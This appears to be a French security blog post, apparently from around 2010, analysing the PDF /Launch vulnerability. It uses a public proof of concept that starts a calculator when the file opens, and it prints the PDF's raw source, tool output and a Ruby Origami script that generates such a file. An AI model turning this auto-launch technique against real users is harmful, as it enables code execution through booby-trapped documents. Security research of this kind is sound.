Le format PDF n'est pas passif comme le format .TXT par exemple. Un document PDF peut donc contenir du code actif [0]. L'une des actions possibles est /launch qui permet de lancer un exécutable avec les droits de l'utilisateur [5]. Cette vulnérabilité a été en partie patchée en juin 2010 [6], puis un moyen de contourner le patch a été publié en juillet [7]. Un nouveau patch a été émis en août par Adobe [9]. Foxit 1.1 release n'est plus vulnérable non plus.
outils
analyse de pdf
- pdf-parser.py - http://blog.didierstevens.com/programs/pdf-tools/ (éditer le source pour modifier la version maximale de python acceptée)- pdfid.py - http://blog.didierstevens.com/programs/pdf-tools/
- opaf - http://code.google.com/p/opaf/ (nécessite le paquet python-lxml)
POC
- calc.pdf - http://seclabs.org/fred/docs/sstic09/samples/actions/launch- adobe reader 8.1.3 - http://www.filehippo.com/download_adobe_reader/
- ruby origami-pdf - http://security-labs.org/origami/
les librairies openssl et gnome2 pour ruby sont nécessaires.
$ sudo apt-get install libopenssl-ruby ruby-gnome2 mercurial
$ hg clone https://origami-pdf.googlecode.com/hg/ origami-pdf
$ sudo cp ./origami-pdf/origami* /usr/lib/ruby/1.8/
remarques
l'insertion d'une action dans les librairies suivantes ne fonctionne pas:- perl pdf-write - http://sourceforge.net/projects/perl-pdf/
- ruby pdf-writer - (installation décrite sur http://infond.blogspot.com/2009/11/fuzzing-rubypdffuzzer-fuzzer-de-pdf.html)
autre framework de manipulation pdf:
- reportlab - http://www.reportlab.com/software/opensource/
Sous ubuntu:
$ sudo apt-get install python-reportlab*
analyse de pdf
Nous allons utiliser le POC calc.pdf de seclabs [5]
Avant de lancer le pdf, voyons à quoi il ressemble:
pdfid.py
Ce tool affiche des informations sur les objets contenus dans le PDF:$ python pdfid.py calc.pdf
PDFiD 0.0.11 calc.pdf
PDF Header: %PDF-1.1
obj 5
endobj 5
stream 1
endstream 0
xref 1
trailer 1
startxref 1
/Page 1
/Encrypt 0
/ObjStm 0
/JS 0
/JavaScript 0
/AA 0
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 3
/Colors > 2^24 0
éditeur de texte:
%PDF-1.1
1 0 obj
<<
/OpenAction <<
/F <<
/DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe)
/Unix (/usr/bin/xcalc)
/Mac (/Applications/Calculator.app)
>>
/S /Launch
>>
/Pages 2 0 R
/Type /Catalog
>>
endobj
2 0 obj
<<
/Kids [ 3 0 R ]
/Count 1
/Type /Pages
>>
endobj
3 0 obj
<<
/Resources <<
/Font <<
/F1 5 0 R
>>
>>
/MediaBox [ 0 0 795 842 ]
/Parent 2 0 R
/Contents 4 0 R
/Type /Page
>>
endobj
4 0 obj
<<
/Length 1260
>>stream
BT
/F1 30 Tf 350 750 Td 20 TL
1 Tr (calc.pdf) Tj
ET
BT
/F1 15 Tf 233 690 Td 20 TL
0 Tr (This page is empty but it should start calc :-D) Tj
ET
BT
/F1 15 Tf 233 670 Td 20 TL
(Dont be afraid of the pop-ups, just click them...) Tj
ET
BT
/F1 14 Tf 75 620 Td 20 TL
2 Tr (Comments:) Tj
ET
BT
/F1 12 Tf 75 600 Td 20 TL
0 Tr (Windows:) Tj ( - Foxit: runs calc.exe at the document opening without any user confirmation message \(!\) ) ' ( - Acrobat Reader *:) ' ( 1. popup proposing to open "calc.exe" \(warning\)) ' ( 2. starts "calc.exe") ' () ' (Mac:) ' ( - Preview does not support PDF keyword /Launch) ' ( - Acrobat Reader 8.1.2: starts Calculator.app) ' () ' (Linux:) ' ( ! Assumes xcalc is in /usr/bin/xcalc) ' ( - poppler: does not support PDF keyword /Launch) ' ( - Acrobat Reader 7: ) ' ( 1. popup telling it can not open "xcalc" \(dumb reasons\)) ' ( 2. popup proposing to open "xcalc" \(warning\)) ' ( 3. starts "xcalc") ' ( - Acrobat Reader 8.1.2: based on xdg-open) ' ( - if you are running KDE, Gnome or xfce, xcalc is started after a popup) ' ( - otherwise, your brower is started and tries to download "xcalc") ' () ' (Note:) ' (For Linux and Mac, no argument can be given to the command...) '
ETendstream
endobj
5 0 obj
<<
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Type /Font
>>
endobj
xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000234 00000 n
0000000303 00000 n
0000000457 00000 n
0000001774 00000 n
trailer
<<
/Size 6
/Root 1 0 R
/ID [ (bc38735adadf7620b13216ff40de2b26) (bc38735adadf7620b13216ff40de2b26) ]
>>
startxref
1866
%%EOF
pdfparser.py
Ce tool permet des recherches plus précises sur le contenu du pdf. Penser à modifier si nécessaire la version maximale de python dans le code source du script.$ python pdf-parser.py calc.pdf -o 1
Type: /Catalog
Referencing: 2 0 R
[(1, '\r\n'), (2, '<<'), (1, '\r\n\t'), (2, '/OpenAction'), (1, ' '), (2, '<<'), (1, '\r\n\t\t'), (2, '/F'), (1, ' '), (2, '<<'), (1, '\r\n\t\t\t'), (2, '/DOS'), (1, ' '), (2, '('), (3, 'C:\\\\\\\\WINDOWS\\\\\\\\system32\\\\\\\\calc.exe'), (2, ')'), (1, '\r\n\t\t\t'), (2, '/Unix'), (1, ' '), (2, '('), (2, '/usr'), (2, '/bin'), (2, '/xcalc'), (2, ')'), (1, '\r\n\t\t\t'), (2, '/Mac'), (1, ' '), (2, '('), (2, '/Applications'), (2, '/Calculator.app'), (2, ')'), (1, '\r\n\t\t'), (2, '>>'), (1, '\r\n\t\t'), (2, '/S'), (1, ' '), (2, '/Launch'), (1, '\r\n\t'), (2, '>>'), (1, '\r\n\t'), (2, '/Pages'), (1, ' '), (3, '2'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (1, '\r\n\t'), (2, '/Type'), (1, ' '), (2, '/Catalog'), (1, '\r\n'), (2, '>>'), (1, '\r\n')]
<<
/OpenAction /F
/DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe)
/Unix (
/usr /bin
/xcalc )
/Mac (
/Applications /Calculator.app)
>>
mise en oeuvre
Utilisons une version dépassée d'Adobe que nous téléchargeons depuis le site http://www.filehippo.com/download_adobe_reader/, par exemple la 8.1.3générer un PDF
Pour générer une PDF, nous utilisons la librairie Ruby opensource Origami.Nous vous suggérons de vous baser sur l'exemple /samples/launch/calc.rb :
#!/usr/bin/ruby
begin
require 'origami'
rescue LoadError
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.."
$: << ORIGAMIDIR
require 'origami'
end
include Origami
OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf"
puts "Generating a pdf launching calc on several OS!!"
pdf = PDF.new
# Reader7.0
# A popup firstly says it cannot open the specified file. Then the
# file is opened once the "Open" button is clicked...
# Reader8.0
# It "opens" the file, but does not execute it. By default, it seems
# it is passed to the default browser.
# Only local files can be opened this way.
# If the file does not exist, it displays the content of the current
# directory
cmd = FileSpec.new
cmd.Unix = "/usr/bin/xcalc"
cmd.Mac = "/Applications/Calculator.app"
cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe"
action = Action::Launch.new
action.F = cmd
pdf.onDocumentOpen( action )
contents = ContentStream.new
contents.write OUTPUTFILE,
:x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30
contents.write "This page is empty but it should start calc :-D",
:x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0)
contents.write "Dont be afraid of the pop-ups, just click them...",
:x => 233, :y => 670, :size => 15
contents.write "Comments:",
:x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14
content = <<-EOS
Windows:
- Foxit: runs calc.exe at the document opening without any user confirmation message (!)
- Acrobat Reader *:
1. popup proposing to open \"calc.exe\" (warning)
2. starts \"calc.exe\"
Mac:
- Preview does not support PDF keyword /Launch
- Acrobat Reader 8.1.2: starts Calculator.app
Linux:
! Assumes xcalc is in /usr/bin/xcalc
- poppler: does not support PDF keyword /Launch
- Acrobat Reader 7:
1. popup telling it can not open \"xcalc\" (dumb reasons)
2. popup proposing to open \"xcalc\" (warning)
3. starts \"xcalc\"
- Acrobat Reader 8.1.2: based on xdg-open
- if you are running KDE, Gnome or xfce, xcalc is started after a popup
- otherwise, your brower is started and tries to download \"xcalc\"
Note:
For Linux and Mac, no argument can be given to the command...
EOS
contents.write content,
:x => 75, :y => 600, :rendering => Text::Rendering::FILL
page = Page.new.setContents( contents )
pdf.append_page( page )
pdf.saveas(OUTPUTFILE)
puts "PDF file saved as #{OUTPUTFILE}."
références
1 - mars 2010 - Didier Stevens - escape from PDF - http://blog.didierstevens.com/2010/03/29/escape-from-pdf/3 - avril 2010 - Adobe - PDF /launch social engineering attack - http://blogs.adobe.com/adobereader/2010/04/didier_stevens_launch_function.html
4 - avril 2010 - Sudosecure - Are PDF worm-able? - http://www.sudosecure.net/archives/636
5 - juin 2009 - seclabs POC calc.pdf - http://seclabs.org/fred/docs/sstic09/samples/actions/launch
6 - juin 2010 - Didier Stevens - No escape from PDF - http://blog.didierstevens.com/2010/06/29/quickpost-no-escape-from-pdf/
7 - juillet 2010 - Bkis - Adobe fix still allows escape from PDF - http://blog.bkis.com/en/adobe-fix-still-allows-escape-from-pdf/
8 - juillet 2010 - Didier Stevens - Preventing the /launch action "cmd.exe" bypass - http://blog.didierstevens.com/2010/07/04/quickpost-preventing-the-launch-action-cmd-exe-bypass/
9 - aout 2010 - Bkis - Adobe fixed /launch function vulnerability - http://blog.bkis.com/en/2010/08/
10 - FileHippo - http://www.filehippo.com
11 - Adobe PDF reference - http://www.adobe.com/devnet/pdf/pdf_reference.html
12 - SOGETI ESEC - analyse orientée sécurité du format PDF - http://actes.sstic.org/SSTIC09/Origami_malicieux_en_PDF/SSTIC09-article-F-Raynal-G-Delugre-D-Aumaitre-Origami_malicieux_en_PDF.pdf
13 - SOGETI ESEC - playing with origami - http://esec.fr.sogeti.com/blog/index.php?2009/06/19/65-playing-with-origami-in-pdf
Opaf works perfectly on that
RépondreSupprimerhttp://pastebin.com/1BHtTAPJ
its just fantastic post,i found it so useful.its a nice blog.
RépondreSupprimer